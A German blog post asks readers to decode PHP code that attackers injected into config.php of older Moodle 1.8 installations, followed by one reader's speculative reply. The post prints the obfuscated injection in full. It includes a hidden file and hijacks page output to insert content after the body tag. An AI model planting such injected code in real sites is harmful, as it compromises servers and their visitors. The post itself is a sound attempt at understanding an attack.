Moodlehack – kann das jemand decodieren?

vom 18. August 2009, in Moodle, von Maik Riecken

Frühere Versionen von Moodle, insbesondere die 1.8er-Reihe bekamen des Öfteren Besuch (neuere 1.8er-Versionen,. z.B. 1.8.9 sind gefixt), wobei dieser Code in die config.php eingeschleust wurde (hier unvollständig dargestellt – hier Volltext):

if(function_exists(‘ob_start’)&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists(‘/path/to/moodle/lang/be/help/resource/type/mdl_utf.php’)){include_once(‘/home/www/web10/html/moodle/lang/be/help/resource/type/mdl_utf.php’);if(function_exists(‘gml’)&&!function_exists(‘dgobh’)){if(!function_exists(‘gzdecode’)){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack(‘v’,substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header(‘Content-Encoding: none’);$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match(‘/\<body/si’,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(‘/(\<body[^\>]*\>)/si’,'$1′.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(‘dgobh’);}}}

Der Code ist schonmal so mies, dass das Moodlesystem nach dem Einschleusen teilweise nicht mehr funktioniert und so der Hack schnell erkannt ist. Mich würde interessieren, was der Code genau bezwecken soll, damit man etwas über die Motivation des “Angreifers” erfährt. Will er nur spammen? Will er Daten klauen? Ist die Datenbank nach einem erfolgreichen Hack noch zu gebrauchen? Auf jeden Fall wird auf die imap- und mcrypt-Funktionalität von PHP zurückgegriffen…

Facebook Like

Ähnliche Artikel:

  1. Die polare Atombindung und wie man sie erklären kann
Tagged with: CodedecodierenHackMoodlePHP 

One Response to Moodlehack – kann das jemand decodieren?

  1. chleeser sagt:

    So richtig schlau werde ich aus dem Code auch nicht. Aber ich habe diesen auch überflogen. Dennoch gehe ich davon aus, dass dieser eher als Angriff gesehen werden kann, denn zunächst werden bestimmte Funktionen gefragt (besonders gzdecode spielt eine entscheidende Rolle zum Entpacken eines Strings) und wenn diese existieren, wird nach dem etwas kryptischen String gesucht und über den Befehl strpos näher untersucht. Über include_once und return schätze ich soll etwas Neues eingefügt werden.

    Aber wie gesagt: ich habe dies nur überflogen.

Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *

*

Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

WordPress SEO fine-tune by Meta SEO Pack from Poradnik Webmastera